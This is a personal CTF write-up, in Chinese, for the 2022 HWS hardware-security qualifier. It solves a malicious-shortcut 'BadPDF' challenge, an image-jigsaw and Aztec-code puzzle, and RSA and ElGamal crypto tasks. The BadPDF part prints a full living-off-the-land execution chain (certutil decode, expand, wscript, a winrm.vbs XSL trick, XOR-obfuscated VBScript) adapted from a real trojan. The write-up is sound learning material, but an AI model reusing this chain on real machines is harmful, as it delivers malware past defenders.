2022HWS硬件安全冬令营预选赛 WriteUp

说实话,感觉自己和一大波大佬相比,真的挺菜的。但是有一道题三血竟然入营了,不可思议。

一定得在参加线下冬令营之前,把一堆缺的东西补上。

下面是题解:

Misc

BadPDF

首先用压缩软件打开,发现这是个套着pdf皮的快捷方式。

解压之后,打开快捷方式的属性窗口,发现会执行一堆命令。

发现目标里面的东西不全,被截断了,尝试用文本编辑器打开可以看到更全的命令。

整理得到bat脚本如下:

%SystemRoot%\system32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y 
for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y 
findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp > %tmp%\\cSi1r0uywDNvDu.tmp 
%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp 
expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% 
wscript %tmp%\\9sOXN6Ltf0afe7.js

设置%tmp%环境变量后,进行手动的模拟:
执行copy命令时,发现copy出来的东西和原本的不一样:

推测是lnk格式问题,把link后缀名改了重新解压。直接改用pdf。

经测试发现*ertu*.exe是certutil.exe。
执行完毕到wscript之前,获得如下文件:

继续对9sOXN6Ltf0afe7.js进行分析。

var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\cscript.exe&for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl&%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q&\"%tmp%\\20200308-sitrep-48-covid-19.pdf\"",0);

展开可知,相当于执行了如下bat脚本:

cmd /c mkdir %tmp%\\cscript.exe
for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y
move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q
"%tmp%\\20200308-sitrep-48-covid-19.pdf"

根据参考资料[1],上述的内容相当于执行了WsmPty.xsl中的vbscript,其内容如下:

rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):execute(rBOH7OLTCVxzkH):function HrtvBsRh3gNUbe(bhhz6HalbOkrki):for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2:HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):next:end function:

展开可得:

rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c")
execute(rBOH7OLTCVxzkH)
function HrtvBsRh3gNUbe(bhhz6HalbOkrki)
for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2
HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1)
next
end function

把execute换掉,改成Wscript.Echo查看内容。

rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c")
Wscript.Echo(rBOH7OLTCVxzkH)

function HrtvBsRh3gNUbe(bhhz6HalbOkrki)
for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2
HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1)
next
end function

可以得到flag:

flag{e27d3de27d3de27d3d7d3de27dde27d3}

比赛打完之后,我才知道,其实本题目是由一个真实病毒“新冠病毒远程木马”改造来的。真的很有意思。详情可以参考资料[2][3]。

gogogo

直接在网上CTF自动拼图,可以参考资料[4][5][6]。
安装完montage和gaps之后:

montage *.png -tile 16x16 -geometry +0+0 flag.png

整理出一张图片。利用Windows画图调整图片大小到2560*2560:

]

然后执行:

gaps --image=flag.png --size=160 --save

得到:3e8f092d4d7b80ce338d6e238efb01

PS:看了很多人的WP,他们的WP这一步都是直接拿图片的修改时间排序。。虽然离谱,但确实管用【捂脸】。

想直接拿这个交Flag,发现失败。后来才想起来有个raw文件。想用binwalk和foremost分离之,发现根本不行,是很多文件乱七八糟的掺杂在了一起。后来百度搜索了一下"CTF raw",才发现这是一道内存取证,应该直接用volatility.

使用密码解压zip得到一张二维码,binwalk分离还有一张图:

一开始的时候,认为二维码是一个QR码,不管如何定位拼接都不可以。后来从网上搜索了一下,发现Aztec码的定位点在中间,因此怀疑它是Aztec码。于是手动把定位点补上。如下图:

使用在线解码器可得flag:

flag{fbab8380-a642-48aa-89b1-8e251f826b12}

PS:第二张图例有一个”阿兹特克“(Aztec)的暗示,但我没看出来【捂脸】。当时纠结了半天。

Crypto

BabyRSA

确实比较Baby。直接使用factordb对题目中的n进行分解,可以得到p和q。

剩下的水到渠成,没啥难度。
脚本:

import gmpy2
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
n = p * q
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
m = pow(c, d, n)
print((int(m)).to_bytes(200, "big"))


flag: hwctf{01d_Curs3_c4Me_Again}

crypto_Elgamal (比赛结束后做出)

这道题琢磨了很长时间,也没有做出来。前面感觉做的挺好的,后面实在是不会了。比赛完了看完题解会了。把详细过程放上来。

因为有s_i已知:

s_0 = 543263588863771657634119 \newline
s_1 = 628899245716105951093835 \newline
s_2 = 78708024695487418261582 \newline
s_3 = 598971435111109998816796 \newline
s_4 = 789474285039501272453373 \newline

又有下列公式成立:

A * s_0 + B \equiv s_1 \pmod q (1) \newline
A * s_1 + B \equiv s_2 \pmod q (2) \newline
A * s_2 + B \equiv s_3 \pmod q (3) \newline
A * s_3 + B \equiv s_4 \pmod q (4) \newline

因此可知:

(4)-(2): s_4 - s_2 \equiv (s_3 - s_1) A \pmod q (5) \newline
(3)-(1): s_3 - s_1 \equiv (s_2 - s_0) A \pmod q (6) \newline
(s_4 - s_2) (s_2 - s_0) A \equiv (s_3 - s_1)^2 A \pmod q (7) \newline

因为剩余系上的除法满足同余性[7]:
ac \equiv bc \pmod m \implies a \equiv b \pmod {\frac{m}{gcd(c,m)}}

因为q是质数,A是对q取模得到,可知gcd(A,q)=1 则有

(s4-s2)(s2-s0) \equiv (s3-s1)^2 \pmod q (8)

那么有q | (s3-s1)^2 - (s4-s2)(s2-s0)

(s_3-s_1)^2 = 895673847608508187052683380781251169006607521 \newline
(s_4-s_2)(s_2-s_0) = -330190421065894949551536212163024397681096243767 \newline
(s_3-s_1)^2-(s_4-s_2)(s_2-s_0)= 331086094913503457738588895543805648850102851288 \newline

在factorDB上分解331086094913503457738588895543805648850102851288:

发现791763770658839585424113正好是一个80bit的质数,可知q=791763770658839585424113

根据(5)(6),根据模性质除去负数后求解一元线性同余方程:

(s_4-s_2) \equiv (q+s_3-s_1)*A \pmod q (9) \newline
(s_3-s_1+q) \equiv (s_2-s_0+q)*A \pmod q (10)

为:

710766260344013854191791 \equiv 761835960053843633147074 A \pmod {791763770658839585424113} \newline
761835960053843633147074 \equiv 327208206490555346051576 A \pmod  {791763770658839585424113} \newline

利用扩展欧几里得算法求解:

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)

def modinv(b, n):
    g, x, _ = egcd(b, n)
    if g == 1:
        return x % n

print(710766260344013854191791 * modinv(761835960053843633147074, q) % q)
print(761835960053843633147074 * modinv(327208206490555346051576, q) % q)

A=12742153496769814072597
只剩下B没求了,手动求一下。得B=3035433788765894539799
使用assert验证无误。

下面内容的参考资料[8][9][10][11][12][13]:

预设条件是:

g^q \equiv 1 \pmod p (1) \newline
h \equiv g^x \pmod p (2) \newline
r' = Ar + B \pmod q (3) \newline
C_1 = g^r \pmod p (4) \newline
C_2 = m h^r \pmod p (5) \newline
C_1' = g^{r'} \pmod p (6) \newline
C_2' = mh^{r'} \pmod p (7) \newline

因为(1)(2),所以:

C_2^q = (m h^r)^q = m^q h^{rq} = m^q g^{xrq} = m^q (g^q)^{rx} \equiv m^q \pmod p (8)

因为(5),所以:(在此处我们忽略指数上对q的取模,反正最后结果是对的,咱们就不管了)

C_2^A h^B \equiv (m h^r)^A h^B = m^A h^{Ar+B} \pmod p (9)

因为(7),所以:

C_2' = m h^{r'} \equiv m h^{Ar + B} \pmod p (10)

在模p的剩余系中,式(9)/(10):

\frac {C_2^A h^B}{C_2'} \equiv m^{A-1} \pmod p (11)

根据式(8)和式(11),只要gcd(A-1, q) = 1,那么可以通过扩展欧几里得定理求解m。恰好这里面A-1和q是互质的。

(A-1)k+qv=gcd(A-1,q),那么只需计算(m^{A-1})^k (m^q)^v即可得到m。

解题脚本两个:

s0 = 543263588863771657634119
s1 = 628899245716105951093835
s2 = 78708024695487418261582
s3 = 598971435111109998816796
s4 = 789474285039501272453373

print((s4-s2)*(s2-s0))
print((s3-s1)*(s3-s1))
print((s3-s1)*(s3-s1)-(s4-s2)*(s2-s0))

q = 791763770658839585424113

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)

def modinv(b, n):
    g, x, _ = egcd(b, n)
    if g == 1:
        return x % n

print(710766260344013854191791 * modinv(761835960053843633147074, q) % q)
print(761835960053843633147074 * modinv(327208206490555346051576, q) % q)

A = 12742153496769814072597
print(A*s0%q, s1)
print(s1-A*s0%q)
B = 3035433788765894539799

assert ( A * s0 + B ) % q == s1
assert ( A * s1 + B ) % q == s2
assert ( A * s2 + B ) % q == s3
assert ( A * s3 + B ) % q == s4
from Crypto.Util.number import *
from gmpy2 import *

q = 791763770658839585424113
A = 12742153496769814072597
B = 3035433788765894539799

p = 65211247300401312530078141569304950676358489059623557848188896752173856845051471066071652073612337629832155846984721797768267868868902023383604553319793550396610085424563231688918357710337401138108050205457200940158475922063279384491022916790549837379548978141370347556053597178221402425212594060342213485311
g = 27642593390439430783453736408814717946185190497201679721975757020767271070510268596627490205095779429964809833535285315202625851326460572368018875381603399143376574281200028337681552876140857556460885848491160812604549770668188783258592940823128376128198726254875984002214053523752696104568469730021811399216
h = 54585833166051670245656045196940486576634589000609010947618047461787934106392112227019662788387352615714332234871251868259282522817042504587428441746855906297390193418159792477477443129333707197013251839952389651332058368911829464978546505729530760951698134101053626585254469108630886768357270544236516534904

c1 = 60724920570148295800083597588524297283595971970237964464679084640302395172192639331196385150232229004030419122038089044697951208850497923486467859070476427472465291810423905736825272208842988090394035980454248119048131354993356125895595138979611664707727518852984351599604226889848831071126576874892808080133
c2 = 48616294792900599931167965577794374684760165574922600262773518630884983374432147726140430372696876107933565006549344582099592376234783044818320678499613925823621554608542446585829308488452057340023780821973913517239972817669309837103043456714481646128392677624092659929248296869048674230341175765084122344264
c1_ = 42875731538109170678735196002365281622531058597803022779529275736483962610547258618168523955709341579773947887175626960699426438456382655370090748369934296474999389316334717699127421889816721511602392591677377678759026657582648354688447456509292302633971842316239774410380221303269351351929586256938787054867
c2_ = 64829024929257668640929285124747107162970460545535885047576569803424908055130477684809317765011143527867645692710091307694839524199204611328374569742391489915929451079830143261799375621377093290249652912850024319433129432676683899459510155157108727860920017105870104383111111395351496171846620163716404148070

# q is prime
# g ** q % p == 1

m_q = pow(c2, q, p)
m_A_1 = (pow(c2, A, p) * invert(c2_, p) * pow(h, B, p)) % p

_, i, j = gcdext(A-1, q)

if i > 0:
    tmp1 = pow(m_A_1, i, p)
else:
    tmp1 = invert(int(pow(m_A_1, -i, p)), p)

if j > 0:
    tmp2 = pow(m_q, j, p)
else:
    tmp2 = invert(int(pow(m_q, -j, p)), p)

m = (tmp1 * tmp2) % p
print(long_to_bytes(m))
# flag{19e9f185e6a680324cedd6e6d9382743}

转载其他师傅的WP:
(1) https://blog.shi1011.cn/ctf/2077
(2) https://zyazhb.github.io/2020/08/16/ctf-hws/
(3) https://www.cnblogs.com/Mz1-rc/p/15843569.html
(4) https://www.cnblogs.com/holittech/p/15841253.html
(5) https://c10udlnk.top/p/wpFor-2022HWSTrial/

之后有机会学习吧。

参考资料:
[1] https://www.freebuf.com/articles/system/178339.html
[2] https://www.aqniu.com/learn/66016.html
[3] http://www.cnetsec.com/article/32258.html
[4] https://www.cnblogs.com/bhxdn/p/14094717.html
[5] https://blog.csdn.net/fjh1997/article/details/107585782
[6] https://blog.csdn.net/ZT7524/article/details/119981204
[7] https://zhuanlan.zhihu.com/p/96666921
[8] https://ce-automne.github.io/2020/01/26/LCG%E5%92%8C%E6%A8%A1p%E5%B9%B3%E6%96%B9%E6%A0%B9%E7%BB%93%E5%90%88%E7%9A%84%E9%A2%98%E7%9B%AE/
[9] https://ctftime.org/writeup/10568
[10] https://ctftime.org/writeup/10590
[11] https://ctf-wiki.org/crypto/asymmetric/discrete-log/elgamal/
[12] https://harry0597.com/2022/01/24/2022%E5%8D%8E%E4%B8%BAHWS%E9%80%89%E6%8B%94%E8%B5%9BWP/
[13] https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=mouse0333&logNo=221331160503

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注